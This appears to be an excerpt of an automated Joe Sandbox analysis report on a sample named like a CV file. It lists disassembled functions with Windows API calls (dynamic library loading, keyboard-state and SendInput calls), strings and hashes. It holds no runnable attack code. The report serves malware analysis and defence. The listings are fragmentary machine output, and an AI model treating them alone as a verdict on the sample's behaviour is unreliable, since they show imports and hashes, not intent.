GetProcAddress.KERNEL32(00000000), ref: 003A22A8

Strings

RoInitialize, xrefs: 003A2290
combase.dll, xrefs: 003A229C

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 2574300362-340411864
Opcode ID: 9bd7b0666b8a2142001367eef9e728555401fd95f40a9f549c7d06784562845d
Instruction ID: 13eed7114acd1784a07ad0ec3d7f4b65f018f1535ee803ca7fb9386a7597d454
Opcode Fuzzy Hash: 9bd7b0666b8a2142001367eef9e728555401fd95f40a9f549c7d06784562845d
Instruction Fuzzy Hash: A7E04F74AA0300ABEB605FB4ED4DB153664F702706F104434F282E50E0CFBA4068CF0C

Function 003A235C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,003A2276), ref: 003A2376
GetProcAddress.KERNEL32(00000000), ref: 003A237D

Strings

combase.dll, xrefs: 003A2371
RoUninitialize, xrefs: 003A2365

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 2574300362-2819208100
Opcode ID: 7d63a58ef773a0482cb4ced2cd9272983ac1c30b10f4120b052cdfdb79d8cb4a
Instruction ID: 8ce2f23b4c0b4b7d1c22f0fa5e650eab655f2878346935d5f2c2424a760ce690
Opcode Fuzzy Hash: 7d63a58ef773a0482cb4ced2cd9272983ac1c30b10f4120b052cdfdb79d8cb4a
Instruction Fuzzy Hash: D6E0EC78A84300AFDB25AFA1EE0EB053A75B716706F110434F249E20F0CBBA9428DB1C

Function 003FAC59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 003FAC60
__swprintf.LIBCMT ref: 003FAC94

Strings

WIN_XPe, xrefs: 003FACD3
%.3d, xrefs: 003FAC6E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: b5a27356906c2607003593f586bbb53cbc1f7d614cab9a14dac81e3b86b18537
Instruction ID: a394c2b73b960f50a19c6889997eeb631c25d4999743368eeb7700dd0d4a8e7c
Opcode Fuzzy Hash: b5a27356906c2607003593f586bbb53cbc1f7d614cab9a14dac81e3b86b18537
Instruction Fuzzy Hash: AFE012F1804A1CDBCB139790CE05DFAB3BCA708781F1000D2FA0AE1900D7359B88AA17

Function 003E2205 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,003E21FB,?,003E23EF), ref: 003E2213
GetProcAddress.KERNEL32(00000000,GetProcessId), ref: 003E2225

Strings

GetProcessId, xrefs: 003E221F
kernel32.dll, xrefs: 003E220E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetProcessId$kernel32.dll
API String ID: 2574300362-399901964
Opcode ID: 2653433d3836fccddafd7c2e06dc6fb470e584a4ad112211eefbe40f0ac7c634
Instruction ID: 852fa592a79d3ce813a1123556fc3fc54dce255e5706f23ad8aa9bff31023b94
Opcode Fuzzy Hash: 2653433d3836fccddafd7c2e06dc6fb470e584a4ad112211eefbe40f0ac7c634
Instruction Fuzzy Hash: 08D0A735C007269FC7225F71F90974276D8EB0C305F11583AED51F2190DBB4D8848664

Function 003842F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,003842EC,?,003842AA,?), ref: 00384304
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00384316

Strings

Wow64RevertWow64FsRedirection, xrefs: 00384310
kernel32.dll, xrefs: 003842FF

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 8536b3447bfb09e181492b8da7299f432daaca79d605e751cd23fa388a07f4cc
Instruction ID: effa76e2ec87f8be4353db33afed92bc74ca3854c47bbfe3bcc6c4ddd750c24b
Opcode Fuzzy Hash: 8536b3447bfb09e181492b8da7299f432daaca79d605e751cd23fa388a07f4cc
Instruction Fuzzy Hash: 51D0A7748007139FC7216F60E80D70176D4AF08302F11447AF841E2564DBF4C8848754

Function 0038434B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,003841BB,00384341,?,0038422F,?,003841BB,?,?,?,?,003839FE,?,00000001), ref: 00384359
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 0038436B

Strings

Wow64DisableWow64FsRedirection, xrefs: 00384365
kernel32.dll, xrefs: 00384354

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: c3166e95979471430901b13fe50e6645d6d7e8c1463ce92bfca4a26d0f8c00c3
Instruction ID: 0c2ec037e89c4d355bb066c7d5e8f9f1d44cc9cd8fe96f8f90c0c32cfaec0ab1
Opcode Fuzzy Hash: c3166e95979471430901b13fe50e6645d6d7e8c1463ce92bfca4a26d0f8c00c3
Instruction Fuzzy Hash: A5D0A7748007139FC7216FB0E90970176D4AF18716F21447AE881E2550DBF4D8848B54

Function 003C0539 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleaut32.dll,?,003C051D,?,003C05FE), ref: 003C0547
GetProcAddress.KERNEL32(00000000,RegisterTypeLibForUser), ref: 003C0559

Strings

oleaut32.dll, xrefs: 003C0542
RegisterTypeLibForUser, xrefs: 003C0553

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegisterTypeLibForUser$oleaut32.dll
API String ID: 2574300362-1071820185
Opcode ID: c038332d99ccc43a836966a1471d760987a2f2c00583d7453768d16a63d0138d
Instruction ID: 71969576ba48527b45a11a3bb928da782ddf5739d4cb937e5555c19d1dba9c6d
Opcode Fuzzy Hash: c038332d99ccc43a836966a1471d760987a2f2c00583d7453768d16a63d0138d
Instruction Fuzzy Hash: D7D0A730808722DFC7208F60E908B45B6E4AB09301F21C43EE846E2254DAB4CC848B54

Function 003C0564 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleaut32.dll,00000000,003C052F,?,003C06D7), ref: 003C0572
GetProcAddress.KERNEL32(00000000,UnRegisterTypeLibForUser), ref: 003C0584

Strings

UnRegisterTypeLibForUser, xrefs: 003C057E
oleaut32.dll, xrefs: 003C056D

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: UnRegisterTypeLibForUser$oleaut32.dll
API String ID: 2574300362-1587604923
Opcode ID: 1d2cc34756ae61cc8f0b40b68aca4b5193210c2b39c871450ef74f9979d17219
Instruction ID: ef072d938c2ec84088d5776005cb91cf99c2e9bf855f82b341162e08de84e678
Opcode Fuzzy Hash: 1d2cc34756ae61cc8f0b40b68aca4b5193210c2b39c871450ef74f9979d17219
Instruction Fuzzy Hash: BFD0A731848312DFCB205F74E948F02B7E4AB09300F21853EEC41E2154DBB4C8C48B64

Function 003DECC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,003DECBE,?,003DEBBB), ref: 003DECD6
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 003DECE8

Strings

GetSystemWow64DirectoryW, xrefs: 003DECE2
kernel32.dll, xrefs: 003DECD1

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: 3367daf319d3cb5a3eb5a17c14b0ae458045a3f56420953d076b01c07991d46d
Instruction ID: f216f521ab5c7b9444e2730e867618d46023044cd81695636a2331b56f664f00
Opcode Fuzzy Hash: 3367daf319d3cb5a3eb5a17c14b0ae458045a3f56420953d076b01c07991d46d
Instruction Fuzzy Hash: B4D0A7318107239FCB216FA0F9497427AF4AB08300F11843BFC45E7254DFB4D8848654

Function 003DBADD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,003DBAD3,00000001,003DB6EE,?,0041DC00), ref: 003DBAEB
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 003DBAFD

Strings

GetModuleHandleExW, xrefs: 003DBAF7
kernel32.dll, xrefs: 003DBAE6

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 8b1a3a84cd4136cc8ee158ff78fd5038814951b6a2d95bc7d1d5df58986abefe
Instruction ID: 43eca529e0a35dbce7a4a07ba4f9cb919572875c8160695e8f8aebf0b768f50c
Opcode Fuzzy Hash: 8b1a3a84cd4136cc8ee158ff78fd5038814951b6a2d95bc7d1d5df58986abefe
Instruction Fuzzy Hash: 90D0A731D04712DFC7315F60F94AB55B6E4AB09300F12443BE843E2254DBB4D884C658

Function 003E3BDB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,003E3BD1,?,003E3E06), ref: 003E3BE9
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 003E3BFB

Strings

RegDeleteKeyExW, xrefs: 003E3BF5
advapi32.dll, xrefs: 003E3BE4

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: b8f390992bc7161d372f0eb879f36682b887d6073f47c47fe5909091763adac5
Instruction ID: 60d9223d5d5378114945c98169255ba06620421a6f57f4ed1dd90c5fe78a0c48
Opcode Fuzzy Hash: b8f390992bc7161d372f0eb879f36682b887d6073f47c47fe5909091763adac5
Instruction Fuzzy Hash: CED0A7B08007629FC7205FE5E90D783BAF4AB09324F31443AE845F3190DAB8D8848E54

Function 003B9B30 Relevance: 6.3, APIs: 4, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a75baaae645a5cd7dfcd8bd319b3733085cf72e82ea25c139675e6c37f196974
Instruction ID: fb1c17083c26c3bbf1b2f9a36a94ac90299554bb9a33e2a74745704a39f991be
Opcode Fuzzy Hash: a75baaae645a5cd7dfcd8bd319b3733085cf72e82ea25c139675e6c37f196974
Instruction Fuzzy Hash: 04C16C75A0021AEFCB15CF94C884BEEBBB5FF48708F118599EA05AB651D730DE41DB90

Function 003DAA84 Relevance: 6.3, APIs: 4, Instructions: 268COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 003DAAB4
CoUninitialize.OLE32 ref: 003DAABF

Part of subcall function 003C0213: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 003C027B

VariantInit.OLEAUT32(?), ref: 003DAACA
VariantClear.OLEAUT32(?), ref: 003DAD9D

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 8cf85d09afc459fa10224ff00d92a31cca2b1a90490fb80efe665dce5748fb54
Instruction ID: 8c82a4871698cdde9df9434b217def03a75158914fb1cad25a04f71334c03bf5
Opcode Fuzzy Hash: 8cf85d09afc459fa10224ff00d92a31cca2b1a90490fb80efe665dce5748fb54
Instruction Fuzzy Hash: 53A16D76204B019FCB12EF14C991B2AB7E5BF48710F15445AF9969B3A1CB70FD05CB86

Function 003B91CC Relevance: 6.2, APIs: 4, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 003B91DD
SysAllocString.OLEAUT32(?), ref: 003B9286
VariantCopy.OLEAUT32 ref: 003B92B5
VariantClear.OLEAUT32(?), ref: 003B92DC

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 52e89315829127d559649124c155bb289f8bb4a00b7355ad64dcd730d3930cff
Instruction ID: fb02d70e8c95efc17b40a6cb4b64de21b4cae68ae5ff518774aa802716a4c810
Opcode Fuzzy Hash: 52e89315829127d559649124c155bb289f8bb4a00b7355ad64dcd730d3930cff
Instruction Fuzzy Hash: F051EC346047069BDB269F65D4917AEB3E9EF45318F24881FE74ACFAD1DB309880C705

Function 003A365B Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 003A36B7
_memcpy_s.LIBCMT ref: 003A3729
__filbuf.LIBCMT ref: 003A37AA
_memset.LIBCMT ref: 003A37EE

Part of subcall function 003A7C0E: __getptd_noexit.LIBCMT ref: 003A7C0E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit_memcpy_s
String ID:
API String ID: 3877424927-0
Opcode ID: 065ad613f1183b824f05baa70d3d15c8958660488bca00daffb81e2f860a9d07
Instruction ID: 1b7cab39aa90ac3855eb697009a454f0a46f5246817f48395a282111d5182da8
Opcode Fuzzy Hash: 065ad613f1183b824f05baa70d3d15c8958660488bca00daffb81e2f860a9d07
Instruction Fuzzy Hash: B751B5B0A00305ABDB268FA9C88566EB7A5EF43320F25872DF835966E0D775DF54CB40

Function 003EC4D7 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(01866F40,?), ref: 003EC544
ScreenToClient.USER32(?,00000002), ref: 003EC574
MoveWindow.USER32(00000002,?,?,?,000000FF,00000001,?,00000002,?,?,?,00000002,?,?), ref: 003EC5DA

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 60f1fb3da6adfa1d9ffa936b505ddee066df9b68f15335595809074d61929803
Instruction ID: 2bcad936e8692f468a6a119f6cbba040687e3e9e45724d677406ebf3cf0d01aa
Opcode Fuzzy Hash: 60f1fb3da6adfa1d9ffa936b505ddee066df9b68f15335595809074d61929803
Instruction Fuzzy Hash: 28518F75910254EFCF11DF6AC880AAE7BB5FB45320F159669F8159B2D0D730ED82CB90

Function 003BC410 Relevance: 6.1, APIs: 4, Instructions: 130windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 003BC462
__itow.LIBCMT ref: 003BC49C

Part of subcall function 003BC6E8: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 003BC753

SendMessageW.USER32(?,0000110A,00000001,?), ref: 003BC505
__itow.LIBCMT ref: 003BC55A

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 99bc5a62d7780f7bd16f6f9e728c0e28622b31fb70e53d1a38611ace93b9d212
Instruction ID: 49ae1ace37e980139fb43782d7654dca3c6cc728ffd4a1867feadbf85c8f0262
Opcode Fuzzy Hash: 99bc5a62d7780f7bd16f6f9e728c0e28622b31fb70e53d1a38611ace93b9d212
Instruction Fuzzy Hash: 15419371A00708ABDF33EF55C856BEE7BB9AF49704F001059FA05AB181DB749A458BA1

Function 003C390C Relevance: 6.1, APIs: 4, Instructions: 112keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 003C3966
SetKeyboardState.USER32(00000080,?,00000001), ref: 003C3982
PostMessageW.USER32(00000000,00000102,?,00000001), ref: 003C39EF
SendInput.USER32(00000001,?,0000001C,00000000,?,00000001), ref: 003C3A4D

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 20ff3de5569a6e24a45759233bc81a6cce65c4f8da422c1fc6f06b1bcec1ef82
Instruction ID: d92d099b8db671901d115a35526d7b83794b745e6429b20161d785909af9ee0c
Opcode Fuzzy Hash: 20ff3de5569a6e24a45759233bc81a6cce65c4f8da422c1fc6f06b1bcec1ef82
Instruction Fuzzy Hash: 84410970E04248AEEF328B648809FFDBBB99B59310F04815EE4C2E61D1C7B58E95D765

